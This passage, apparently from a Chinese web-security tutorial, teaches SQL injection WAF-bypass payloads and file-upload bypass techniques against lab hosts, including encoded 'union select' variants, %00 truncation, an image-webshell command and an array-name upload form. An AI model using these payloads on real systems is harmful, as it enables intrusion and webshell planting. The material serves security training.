Connection: close
Referer: http://192.168.0.165/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=hk8r159en71pndlu3jvvphenn5
Upgrade-Insecure-Requests: 1
id=1+and+(select+1)and+(select+0xA*1000)/*!union*//*!select*/+1,user()--+&submit=%E6%9F%A5%E8%AF
%A2
花扩号绕过
select 1,2 union select{x 1},user()
花括号 左边是注释的内容 这样可以一些 waf 的拦截
使用 ALL 或者 DISTINCT 绕过
去掉重复值
select 1,2 from users where user_id=1 union DISTINCT select 1,2
select 1,2 from users where user_id=1 union select DISTINCT 1,2
显示全部
select 1,2 from users where user_id=1 union all select 1,2
select 1,2 from users where user_id=1 union select all 1,2
换行混绕绕过
目前很多 waf 都会对 union select 进行过滤的 因为使用联合查询 这两个关键词
是必须的,一般过滤这个两个字符 想用联合查询就很难了。
可以使用换行 加上一些注释符进行绕过。
换行注释
url编码
编码绕过
原理:形式:“%”加上 ASCII 码(先将字符转换为两位 ASCII 码,再转为 16 进
制),其中加号“+”在 URL 编码中和“%20”表示一样,均为空格。
当遇到非 ASCII 码表示的字符时,如中文,浏览器或通过编写 URLEncode,根
据 UTF-8、GBK 等编码 16 进制形式,进行转换。如“春”的 UTF-8 编码为 E6 98
A5,因此其在支持 UTF-8 的情况下,URL 编码为%E6%98%A5。值得注意的是
采取不同的中文编码,会有不同的 URL 编码。在 URL 传递到后台时,首先 web 容器会自动先对 URL 进行解析。容器解码时,会根据设置(如 jsp 中,会使用 request.setCharacterEncoding("UTF-8")),采用
UTF-8 或 GBK 等其中一种编码进行解析。这时,程序无需自己再次解码,便可
以获取参数(如使用 request.getParameter(paramName))。
但是,有时从客户端提交的 URL 无法确定是何种编码,如果服务器选择的编码
方式不匹配,则会造成中文乱码。为了解决这个问题,便出现了二次 URLEncode
的 方 法 。 在 客 户 端 对 URL 进 行 两 次 URLEncode , 这 样 类 似 上 文 提 到
的%E6%98%A5 则会编码为%25e6%2598%25a5,为纯 ASCII 码。Web 容器在接
到 URL 后,自动解析一次,因为不管容器使用何种编码进行解析,都支持 ASCII
码,不会出错。然后在通过编写程序对容器解析后的参数进行解码,便可正确得
到参数。在这里,客户端的第一次编码,以及服务端的第二次解码,均是由程序
员自己设定的,是可控的,可知的。绕过:
有些 waf 并未对参数进行解码,而后面程序处理业务时会进行解码,因此可以通
过二次 url 编码绕过。例如
除了可以把全部字符转换也可以单独转换字符
HTTP 数据编码绕过
编码绕过在绕 waf 中也是经常遇到的,通常 waf 只坚持他所识别的编码,比如说
它只识别 utf-8 的字符,但是服务器可以识别比 utf-8 更多的编码。
那么我们只需要将 payload 按照 waf 识别不了但是服务器可以解析识别的编码格
式即可绕过。
比如请求包中我们可以更改Content-Type中的charset的参数值,我们改为ibm037这个协议编码,有些服务器是支持的。payload 改成这个协议格式就行了。
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101
Firefox/88.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;charset:ibm037
Content-Length: 33
Connection: close
Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3; security_level=0
Upgrade-Insecure-Requests: 1
%89%84=%F1&%A2%A4%82%94%89%A3=%F1
透过 Content-Type 的 charset 绕过 waf#
未编码
id=123&pass=pass%3d1
透过 IBM037 编码
%89%84=%F1%F2%F3&%97%81%A2%A2=%97%81%A2%A2~%F1
在提交的 http header
Content-Type: application/x-www-form-urlencoded; charset=ibm037
import urllib.parse
s = 'id=-1 union select 1,user()-- &submit=1'
ens=urllib.parse.quote(s.encode('ibm037'))
print(ens)
url 编码绕过
在 iis 里会自动把 url 编码转换成字符串传到程序中执行。
例如 union select 可以转换成 u%6eion s%65lect
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.165
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101
Firefox/88.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: http://192.168.0.165
Connection: close
Referer: http://192.168.0.165/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=hk8r159en71pndlu3jvvphenn5
Upgrade-Insecure-Requests: 1
id=-1 union%25OAselect%25OA1,user()-- &submit=1
Unicode 编码绕过
形式:“\u”或者是“%u”加上 4 位 16 进制 Unicode 码值。
iis 会自动进行识别这种编码 有部分 waf 并不会拦截这这种编码
-1 union select 1,user()
部分转码
-1 uni%u006fn sel%u0065ct 1,user()
全部转码
%u002d%u0031%u0020%u0075%u006e%u0069%u006f%u006e%u0020%u0073%u
0065%u006c%u0065%u0063%u0074%u0020%u0031%u002c%u0075%u0073%u00
65%u0072%u0028%u0029
union select 绕过
目前不少 waf 都会使用都会对 union select 进行拦截 单个不拦截 一起就进行拦
截。
针对单个关键词绕过
sel<>ect 程序过滤<>为空 脚本处理
sele/**/ct 程序过滤/**/为空
/*!%53eLEct*/ url 编码与内联注释
se%0blect 使用空格绕过
sele%ct 使用百分号绕过
%53eLEct 编码绕过
大小写
uNIoN sELecT 1,2
union all select 1,2
union DISTINCT select 1,2
null+UNION+SELECT+1,2
/*!union*//*!select*/1,2
union/**/select/**/1,2
and(select 1)=(Select 0xA*1000)/*!uNIOn*//*!SeLECt*/ 1,user()
/*!50000union*//*!50000select*/1,2
/*!40000union*//*!40000select*/1,2
%0aunion%0aselect 1,2
%250aunion%250aselect 1,2%09union%09select 1,2
%0caunion%0cselect 1,2
%0daunion%0dselect 1,2
%0baunion%0bselect 1,2
%0d%0aunion%0d%0aselect 1,2
--+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2
/*!12345union*//*!12345select*/1,2;
/*中文*/union/*中文*/select/*中文*/1,2;
/* */union/* */select/ */1,2;
/*!union*//*!00000all*//*!00000select*/1,2
文件上传漏洞
描述
文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的
用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。如常见的头像
上传,图片上传,oa 办公文件上传,媒体上传,允许用户上传文件,如果过滤
不严格,恶意用户利用文件上传漏洞,上传有害的可以执行脚本文件到服务器中,
可以获取服务器的权限,或进一步危害服务器。
2.2. 危害
非法用户可以上传的恶意文件控制整个网站,甚至是控制服务器,这个恶意脚本
文件,又被称为 webshell,上传 webshell 后门 很方便地查看服务器信息,查看
目录,执行系统命令等。
2.3. 有关文件上传的知识
文件上传的过程
客户端 选择发送的文件->服务器接收->网站程序判断->临时文件->移动到指定
的路径
服务器 接收的资源程序
服务器接收资源代码
upload.php
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
}
?>
客户端文件上传的代码
upload.html
<html>
<head></head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
文件上传代码
文件上传时会返回一些代码 返回客户端 客户端根据这些值判断上传是否正常
值:0; 没有错误发生,文件上传成功。
值:1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
值:2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定
的值。
值:3; 文件只有部分被上传。
值:4; 没有文件被上传。
文件上传漏洞
文件上传漏洞分为 直接文件上传,这种漏洞类型是属于高危漏洞的一种,能直
接 getshell,而且没有任何限制,攻击者很容易通过上传点,获取网站的控制权
限,另外一种是有条件的上传漏洞,这种漏洞一般是开发者经验不足,对文件上
传做了简单的限制,如简单的前端认证,文件头文件检测,这种检测行为,可以
完全绕过的,另外一个方面就是权限认证没处理,没有对文件上传页面进行权限
认证,匿名者就能访问上传文件,上传网页后门到网站目录,控制整个网站,还
有一些上传逻辑有问题,导致文件上传可以被绕过,上传后门到网站上。有的文
件上传漏洞则是通过中间件或者系统特性上传可以被服务器解析脚本文件,从而
导致网站可被控制。
文件上传漏洞的修复方案
在网站中需要存在上传模块,需要做好权限认证,不能让匿名用户可访问。
文件上传目录设置为禁止脚本文件执行。这样设置即使被上传后门的动态脚
本也不能解析,导致攻击者放弃这个攻击途径。
设置上传白名单,白名单只允许图片上传如,jpg png gif 其他文件均不允许
上传
上传的后缀名,一定要设置成图片格式如 jpg png gif
寻找测试网站的文件上传的模块,常见 头像上传,修改上传,文件编辑器中文
件上传,图片上传、媒体上传等,通过抓包上传恶意的文件进行测试,上传后缀
名 asp php aspx 等的动态语言脚本,查看上传时的返回信息,判断是否能直接上
传,如果不能直接上传,再进行测试上传突破,例如上传文件的时候只允许图片
格式的后缀,但是修改文件时,却没有限制后缀名,图片文件可以修改成动态语
言格式如 php,则可能访问这个文件的 URL 直接 getshell,可以控制网站。
常见的网站文件后缀名
asp
asa
cdx
cer
php
aspx
ashx
jsp
php3
php.a
shtml
phtml
有些网站会对 asp 或者 php 进行过滤转成空可用这些后缀名。
aspasp asaspp
phpphp
任意文件上传漏洞
任意文件上传漏洞又名文件直接上传漏洞 这种漏洞危害极大,如果攻击者能直
接上传恶意脚本到网站存放的目录,且这个目录可解析动态脚本语言,那么攻击
者就能够直接获取网站权限,甚至进一步权限提升,控制服务器。
任意文件上传代码分析
直接获取文件名 把上传的临时文件移动到 hackable/uploads 目录下
直接上传文件 网页会返回路径 访问 url 即可 getshell
http://192.168.126.129/01/hackable/uploads/s.php
绕过前端 js 检测上传
在文件上传时,用户选择文件时,或者提交时,有些网站会对前端文件名进行验
证,一般检测后缀名,是否为上传的格式。如果上传的格式不对,则弹出提示文
字。此时数据包并没有提交到服务器,只是在客户端通过 js 文件进行校验,验
证不通过则不会提交到服务器进行处理。
绕过 js 检测方法
按 F12 使用网页审计元素,把校验的上传文件后缀名文件删除,即可上传。
把恶意文件改成 js 允许上传的文件后缀,如 jpg、gif、png 等,再通过抓包
工具抓取 post 的数据包,把后缀名改成可执行的脚本后缀如 php 、asp、jsp、
net 等。即可绕过上传。
删除 js 文件
抓包修改后缀名
前端 js 检测后缀代码分析
客户段 html 上传文件时会调用 checkFile 函数,首先获取文件后缀名。如果文件
为空,则弹出“请选择要上传的文件”,如果文件不为空,获取上传的文件后缀
名不 .jpg、.png 、.gif 其中一种则提示“改文件不允许上传”,上传失败。
绕过 contnet-type 检测上传
有些上传模块,会对 http 的类型头进行检测,如果是图片类型,允许上传文件到
服务器,否则返回上传失败。因为服务端是通过 content-type 判断类型,
content-type 在客户端可被修改。则此文件上传也有可能被绕过的风险。
分析 content-type 漏洞代码
首先进行 submit 提交判断,再检测文件类型如果是 image/jpeg 或者 image/png
即允许上传。
content-type 检测上传攻击
上传文件,脚本文件,抓包把 content-type 修改成 image/jpeg 即可绕过上传。
https://www.runoob.com/http/http-content-type.html
修改后 Content-Type: image/jpeg
绕过黑名单上传
上传模块,有时候会写成黑名单限制,在上传文件的时获取后缀名,再把后缀名
与程序中黑名单进行检测,如果后缀名在黑名单的列表内,文件将禁止文件上传。
黑名单代码分析
首先是检测 submit 是否有值,获取文件的后缀名,进行黑名单对比,后缀名不
在黑名单内,允许上传。
绕过黑名单上传的攻击
上传图片时,如果提示不允许 php、asp 这种信息提示,可判断为黑名单限制,
上传黑名单以外的后缀名即可。
在 iis 里 asp 禁止上传了,可以上传 asa cer cdx 这些后缀,如在网站里允许.net
执行 可以上传 ashx 代替 aspx。如果网站可以执行这些脚本,通过上传后门即可
获取 webshell。
在不同的中间件中有特殊的情况,如果在 apache 可以开启 application/x-httpd-php
在 AddType application/x-httpd-php .php .phtml .php3
后缀名为 phtml 、php3 均被解析成 php 有的 apache 版本默认就会开启。
上传目标中间件可支持的环境的语言脚本即可,如.phtml、php3。
htaccess 重写解析绕过上传
上传模块,黑名单过滤了所有的能执行的后缀名,如果允许上传.htaccess。htaccess
文件的作用是 可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定
义错误页面、改变你的文件扩展名、封禁特定 IP 地址的用户、只允许特定 IP 地
址的用户、禁止目录列表,以及使用其他文件作为 index 文件等一些功能。
在 htaccess 里写入 SetHandler application/x-httpd-php 则可以文件重写成 php 文
件。要 htaccess 的规则生效 则需要在 apache 开启 rewrite 重写模块,因为 apache是多数都开启这个模块,所以规则一般都生效。
黑名单上传代码分析
如果 submit 有值,$deny_ext =
array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".
pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jsp
a",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHt
ml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",
".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
上传的文件后缀名在列表内禁止上传。包括了所有的执行脚本。
大小写绕过上传
有的上传模块 后缀名采用黑名单判断,但是没有对后缀名的大小写进行严格判
断,导致可以更改后缀大小写可以被绕过。如 PHP、 Php、 phP、pHp
. 黑名单大小写绕过代码分析
获取文件后缀名进行判断,如果后缀在这个字典里就禁止上传。
$deny_ext =
array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".
pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw
",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".asp
x",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",
".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
黑名单大小写绕过攻击
仔细阅读黑名单,查看是否有被忽略的后缀名,当前可以使用 phP 绕过
检测 submit 后 上传目录存在时,进入黑名单判断。如果文件后缀名在黑名单里。
不允许上传,但是文件后缀名,没有过滤空格,可以添加空格绕过。
空格绕过上传攻击
利用 windows 系统特征绕过上传
在 windows 中文件后缀名. 系统会自动忽略.所以 shell.php. 像 shell.php 的效果一
样。所以可以在文件名后面机上.绕过。
windows 系统特征绕过漏洞分析源码
windows 系统特征绕过攻击
抓包修改在后缀名后加上.即可绕过
NTFS 交换数据流::$DATA 绕过上传
如果后缀名没有对::$DATA 进行判断,利用 windows 系统 NTFS 特征可以绕过上
传。
NTFS 交换数据流::$DATA 代码分析
同样用黑名单过滤后缀名。但是程序中没有对::$DATA 进行过滤可以添
加::$DATA 绕过上传。
NTFS 交换数据流::$DATA 攻击绕过上传
burpsuite 抓包,修改后缀名为 php::$DATA
利用 windows 环境的叠加特征绕过上传
在 windwos 中如果上传文件名 moonsec.php:.jpg 的时候,会在目录下生产空白的
文件名 moonsec.php
再利用 php 和 windows 环境的叠加属性,
以下符号在正则匹配时相等
双引号" 等于 点号. 大于符号> 等于 问号?
小于符号< 等于 星号*
文件名.<或文件名.<<<或文件名.>>>或文件名.>><空文件名
黑名单源码分析
同样是黑名单匹配,把.去掉 把空格也过滤了。::$data 也过滤了。
利用 windows 环境的叠加特征绕过上传攻击
首先抓包上传 a.php:.php 上传会在目录里生成 a.php 空白文件,接着再次提交把
a.php 改成 a.>>>
双写后缀名绕过上传
在上传模块,有的代码会把黑名单的后缀名替换成空,例如 a.php 会把 php 替换
成空,但是可以使用双写绕过例如 asaspp,pphphp,即可绕过上传
文件上传双写绕过漏洞分析
同样是黑名单过滤。str_ireplace 对上传的后缀名是黑名单内的字符串转换成空。
文件上传双写绕过攻击
抓包上传,把后缀名改成 pphphp 即可绕过上传
目录可控%00 截断绕过上传
以上都是一些黑名单被绕过的,如果黑名单上传检测后,没有限定后缀名,绕过
的方法很多,与黑名单相对的就是白名单,使用白名单验证会相对比较安全,因
为只允许指定的文件后缀名。但是如果有可控的参数目录,也存在被绕过的风险。
上传参数目录可控代码分析
代码中使用白名单限制上传的文件后缀名,只允许指定的图片格式。但是
$_GET['save_path']服务器接受客户端的值,这个值可被客户端修改。所以会留下
安全问题
文件上传参数目录可控攻击
上传参数可控
当 gpc 关闭的情况下,可以用%00 对目录或者文件名进行截断。
php 版本小于 5.3.4
首先截断攻击,抓包上传将%00 自动截断后门内容。
例如 1.php%00.1.jpg 变成 1.php
上传参数可控
当 gpc 关闭的情况下,可以用%00 对目录或者文件名进行截断。
php 版本小于 5.3.4
首先截断攻击,抓包上传将%00 自动截断后门内容。
例如 1.php%00.1.jpg 变成 1.php
目录可控 post 上传代码分析
这段代码同样是白名单限制后缀名,$_POST['save_path']是接收客户端提交的值,
客户端可任意修改。所以会产生安全漏洞。
目录可控上传攻击
文件名可控,通过抓包修改可控的参数,与不同的中间件的缺陷配合使用。
使用%00 截断文件名 再 post 环境下%00 要经过 decode 但是受 gpc 限制
使用 burpsutie POST %00 截断文件名
文件头检测绕过上传
有的文件上传,上传时候会检测头文件,不同的文件,头文件也不尽相同。常见
的文件上传图片头检测 它检测图片是两个字节的长度,如果不是图片的格式,
会禁止上传。
常见的文件头
JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
文件头检测上传代码分析
getReailFileType 是检测 jpg、png、gif 的文件头
如果上传的文件符合数字即可通过检测
文件头检测绕过传攻击方法
1.制作图片一句话,使用 copy 1.gif/b+moon.php shell.php 将 php 文件附加再 jpg
图片上,直接上传即可。
本例子因为限制了后缀为 jpg,可以考虑文件包含将图片文件包含进去 getshell
burpsuite 上传的数据包头加上 GIF89a
图片检测函数绕过上传
getimagesize 是获取图片的大小,如果头文件不是图片会报错直接可以用图片马
再用文件包含漏洞引入 jpeg 图片即可 getshell
绕过图片二次渲染上传
有些图片上传,会对上传的图片进行二次渲染后在保存,体积可能会更小,图片
会模糊一些,但是符合网站的需求。例如新闻图片封面等可能需要二次渲染,因
为原图片占用的体积更大。访问的人数太多时候会占用,很大带宽。二次渲染后
的图片内容会减少,如果里面包含后门代码,可能会被省略。导致上传的图片马,
恶意代码被清除。
. 图片二次渲染分析代码
只允许上传 JPG PNG gif 在源码中使用 imagecreatefromgif 函数对图片进行二次
生成。生成的图片保存在,upload 目录下。
绕过图片二次渲染攻击。
首先判断图片是否允许上传 gif,gif 图片在二次渲染后,与原图片差别不会太大。
所以二次渲染攻击最好用 git 图片马
制作图片马
将原图片上传,下载渲染后的图片进行对比,找相同处,覆盖字符串,填写一句
话后门,或者恶意指令。
原图片与渲染后的图片这个位置的字符串没有改变所在原图片这里替换成直接上传即可
文件上传条件竞争漏洞绕过
在文件上传时,如果逻辑不对,会造成很大危害,例如文件上传时,用
move_uploaded_file 把上传的临时文件移动到指定目录,接着再用 rename 文件
设置为图片格式,如果在 rename 之前 move_uploaded_file 这个步骤 如果这个文
件可被客户端访问,这样我们也可以获取一个 webshell。
文件上传条件竞争源码分析
采用白名单上传,$upload_file = UPLOAD_PATH . '/' . $file_name; 设置上传路径,
后缀名没有限定为图片类型,接着 move_uploaded_file($temp_file, $upload_file)
将图片移动指定的目录,接着使用 rename 重名为图片类型。在重名之前如果被
浏览器访问,可以得到一个 webshell。
文件上传条件竞争攻击方法
上传 php 后门脚本,上传之后用 burpsutie 设置访问,线程建议体提高一些。
抓包上传 php 文件 设置变量不停的提交这包
需要知道 php 的访问路径,抓包 不停的提交访问。
首先提交访问上传后的 php 路径 第二提交上传的文件的数据包即可。
文件名可控绕过上传
文件上传时,文件名的可被客户端修改控制,会导致漏洞产生
文件名控代码分析
采用黑名单限制上传文件,但是 $_POST['save_name']文件是可控的,可被客户端
任意修改,造成安全漏洞
文件名控可控攻击方法
文件名攻击的方法主要有两种
1.上传文件,文件吗采用%00 截断,抓包解码例如 moon.php%00.php 截断后
moon.php 或者使用/.
2.与中间的漏洞配合使用 例如 iis6.0 上传 1.php;1.jpg apache 上传 1.php.a 也
能解析文件 a.asp;1.jpg 解析成 asp
%00 截断 需要 gpc 关闭 抓包 解码 提交即可 截断文件名 php 版本小于 5.3.4
数组绕过上传
有的文件上传,如果支持数组上传或者数组命名。如果逻辑写的有问题会造成安
全隐患,导致不可预期的上传。这种上传攻击,它是属于攻击者白盒审计后发现
的漏洞居多
数组绕过代码分析
首先检测文件类型,看到可控参数 save_name 如果不是数组如果后缀名不是图
片禁止上传。
如果是数组绕过图片类型检测 接着处理数组。
首先 一个例子的处理。
<?php
$file= $_GET['save_name'];
echo $file_name = reset($file) . '.' . $file[count($file) - 1];
?>
如果是两个参数 拼接字符串是 xx.php/.png
如果下表是 1 为正常图片上传,如果下大于 1 拼接字符串 xx.php/. 在
move_uploaded_file()函数中 /.会自动忽略 所以可以移动到指定目录。
数组绕过攻击方法
构造上传表单,设置数组上传。从代码中,可以知道第二个数组必须大于 1 即可
第二个数组的值就获取不了,字符串拼接起来就是 moon.php/. 就能上传
moon.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form enctype="multipart/form-data" method="post"
action="http://192.168.0.178/Pass-20/index.php">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<p>保存名称:<p>
<input class="input_text" type="text" name="save_name[0]"
value="moon.php/" /><br/>
<input class="input_text" type="text" name="save_name[3]"
value="jpg" /><br/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
</body>
</html>
文件上传其他漏洞
nginx 0.83 /1.jpg%00php
apahce 1x 或者 2x
当 apache 遇见不认识的后缀名,会从后向前解析例如 1.php.rar 不认识 rar 就向
前解析,直到知道它认识的后缀名。
phpcgi 漏洞(nginx iis7 或者以上) 上传图片后 1.jpg。访问 1.jpg/1.php 也会解析成
php。
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
apache 通过 mod_php 来运行脚本,其 2.4.0-2.4.29 中存在 apache 换行解析漏洞,
在解析 php 时 xxx.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的
安全策略。
文件上传漏洞通用检测方法
.php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini
文件上传的防御方法
服务器端使用白名单防御,修复 web 中间件的漏洞,禁止客户端存在可控参
数,存放文件目录禁止脚本执行,限制后缀名 一定要设置图片格式 jpg、gif 、
png 文件名随机的,不可预测
文章来自于网络,如果侵犯了您的权益,请联系站长删除!